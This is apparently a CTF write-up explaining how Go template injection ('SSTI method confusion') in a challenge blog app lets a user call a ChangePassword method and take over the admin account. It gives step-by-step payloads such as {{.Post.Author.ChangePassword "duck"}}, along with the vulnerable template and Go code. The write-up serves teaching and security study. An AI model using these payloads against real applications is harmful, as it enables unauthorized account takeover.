SSTI Method Confusion in Go.
Tags: go, hacking, ctf
Published: 2022-02-04 14:33:55

# GoBlog

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/grv6xvbv4leq661xlmc8.png)


### Summary

This is a write up for a [CTF](https://ctftime.org/event/1444). 

The application is vulnerable to SSTI method confusion, mentioned [here](https://www.onsecurity.io/blog/go-ssti-method-research/). This means you can access methods available to the struct that is being passed in the templates, `/web/` shows the templates that are being served and `/models/` shows the functions that are being used. By abusing how templates work in golang we can access the `ChangePassword` method and change the admin's password allowing us to take over the admin account and access `/admin`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xo7kt4lh9y2wqb51pm8q.png)

### SSTI

The SSTI idea came from knowing the contents of `/web/` which includes the admin template where the flag is referenced as `{{.Flag}}` and the rest of the templates for the blog.

```html
admin.html.tmpl
base.html.tmpl
index.html.tmpl
new_post.html.tmpl
post.html.tmpl
profile.html.tmpl
signin.html.tmpl
signup.html.tmpl
```

The usual payloads to test SSTI do not work here, if you try to use something `{{7*7}}` the application will break, instead we can use `{{.}}` to see what data is being passed to template by changing the username to `data: {{.}}` in `/profile` after logging in. Here we get this information reflected in the username on the top right corner, we can also use the `{{.CurrentUser}}` object that is passed to the template to check out the data that's in there.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c3uut0kuh2zfkb3jzh6t.png)

```html
{
	38e367f9-6065-4717-87bf-5fd938589b8f 
	{{.CurrentUser}}  
	09d8d7b2345e48f3dbe42d81883b9cf4a5d2de2264929c0a99d0957fcfba3d697b30bf4b5b3c0218f211a037446fbda831949d46d9a15cc30e503a63474ec4e5 
	duck@gmail.com false 2021-09-18 18:37:39.851096876 +0000 UTC 
	2021-09-18 19:04:01.69805924 +0000 UTC
}
```

### Confused

If we look at `/models/` this is where the application holds logic that interacts with the database, the most interesting functions are in `/models/users.go`, which has functions that we can execute with our SSTI, but only a few where we can pass arguments and have the needed data structures available for the rest of the parameters. The function I wanted to invoke was the `Create()` function in the `users.go` but it doesn't take any arguments and uses the data structure passed to the template. The other interesting function that would allow me to pass arguments is the `ChangePassword(newPassword string)`  but if we call it like `{{.CurrentUser.ChangePassword "duck"}}` it would change our own password which is cool but it would be cooler if we could change `congon4tor's` password instead. The problem is the data structure that we are passing while in the `/profile` template contains our own details. 

The `/profile` template file includes the data structure `CurrentUser` which has all the information for our current user and is what we can use to access the other methods inside of `users.go` the data in that structure is what fills the parameters in the functions we want to hijack.

```html
 // template for /profile
{{define "styles"}}
  <style></style>
{{ end }}
{{define "content"}}
    <div class="container">
      <div class="row">
        <div class="jumbotron mt-5">
            <form action="/profile" method="post">
                <div class="mb-3">
                    <label for="exampleFormControlInput1" class="form-label">Username</label>
                    <input type="text" class="form-control" id="exampleFormControlInput1" placeholder="Username" name="username"  value="{{.CurrentUser.Username}}">
                </div>
                <div class="mb-3">
                    <label for="exampleFormControlInput2" class="form-label">Email</label>
                    <input type="text" class="form-control" id="exampleFormControlInput2" placeholder="Email" readonly value="{{.CurrentUser.Email}}">
                </div>
                <button type="submit" class="btn btn-primary">Submit</button>
            </form>
        </div>
      </div>
    </div>
{{end}}
```

We need to somehow get the data structure to show `congon4tor's` information, if we use our `{{.}}` payload we can check if any page discloses that information, here I used the original blog post that was there when we sign in, if we access the post from the admin we can see the data structure is from the `congon4tor` user, which is what we need. 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2s4isf105hjxakm6mqeq.png)

```html
{[{
	5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a 
	{
		608a3505-2fa9-46b6-b149-e085f3f2e85b 
		congon4tor  
		1ebbab4803520862d1a5ba5bcc192643e03562c0a59a0b48911336e0c07e0a4ad8d4710b385935a35c176bb29c847281ba75721c849105f37d24b8e934c3a1ac congo@congon4tor.com 
		false 
		2021-07-24 13:26:01.837939032 +0200 +0200 
		2021-07-24 13:26:01.837938977 +0200 +0200
	} 
	Welcome to GoBlog Welcome to GoBlog a website where you can post all your travel adventures for others to enjoy. Talk about the places you visited, the food you tried, the people you met and the culture of the place you visited. It is also a good idea to give others some tips and tricks you learnt during your trip.
	Thanks for sharing with the community!  
	https://www.bloggingwp.com/wp-content/uploads/2018/01/Travel-blog.jpeg 
	2021-07-24 13:42:53.033357338 +0200 +0200 
	2021-07-24 13:42:53.033357391 +0200 +0200
}]}
```

But how can we access the `ChangePassword` function from the post's page thought? If we try to use the same payload as before `{{.CurrentUser.ChangePassword "duck"}}` and then go to the post url `[http://challenge.ctf.games:31814/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a](http://challenge.ctf.games:31814/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a)` the application will break because we do not have `{{.CurrentUser}}` in our `/post` template: 

```html
{{define "content"}}
        <header class="masthead" style="background-image: url('{{.Post.Thumbnail}}')">
            <div class="tint">
                <div class="container position-relative px-4 px-lg-5">
                    <div class="row gx-4 gx-lg-5 justify-content-center">
                        <div class="col-md-10 col-lg-8 col-xl-7">
                            <div class="post-heading mt-3">
                                <h1>{{.Post.Title}}</h1>
                                <span class="meta">
                                    Posted by
                                    {{.Post.Author.Username}}
                                    on {{.Post.UpdatedAt.Format "02 Jan 06 15:04"}}
                                </span>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </header>
        <div class="container px-4 px-lg-5">
            <div class="row gx-4 gx-lg-5 justify-content-center">
                <div class="col-md-10 col-lg-8 col-xl-7">
                    <pre class="content">{{.Post.Content}}</pre>
                </div>
            </div>
        </div>
{{end}}
```

But we do have access to `{{.Post}}` which discloses information from the author, the object contains all the information we need to for the `ChangePassword` function. Now how can we access the method we need? We can do it by calling it directly from the author struct, this is possible because the `author` struct being used here is our `Users` struct which contains the `ChangePassword` function we need, and the data being passed in this post wil fill the parameters with the admin's details

```go
func (u User) ChangePassword(newPassword string) error {
	db := GetConnection()
	q := `UPDATE users set hashed_password=?
            WHERE id=?`
	stmt, err := db.Prepare(q)
	if err != nil {
		return err
	}
	defer stmt.Close()

	h := sha512.New()
	h.Write([]byte(newPassword))
// this will be the admins ID when we visit the blog's page
	r, err := stmt.Exec(hex.EncodeToString(h.Sum(nil)), u.ID)
	if err != nil {
		return err
	}

	if i, err := r.RowsAffected(); err != nil || i != 1 {
		return errors.New("ERROR: Expected one row modified")
	}

	return nil
}
```

Now with that information, we'll need to:

1. Change our username to our payload: `{{.Post.Author.ChangePassword "duck"}}`
2. Navigate to `congon4tor's` blog post
    1. http://challenge.ctf.games:31737/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a
    2. At this point the password has been changed but you need the email address to login
3. Get `congon4tor` email by setting our username to `{{.Post.Author.Email}}`
4. Navigate to `congon4tor's` blog post again (email should be on the top right hand side)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vxw9w81mk2nb4251k7ku.png)
    
5. Sign into `congon4tor's` account using:
    
    `email: congo@congon4tor.com`
    
    `password: duck`
    
6. Access `/admin`


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rep00mjw3u8ma4fofpvz.png)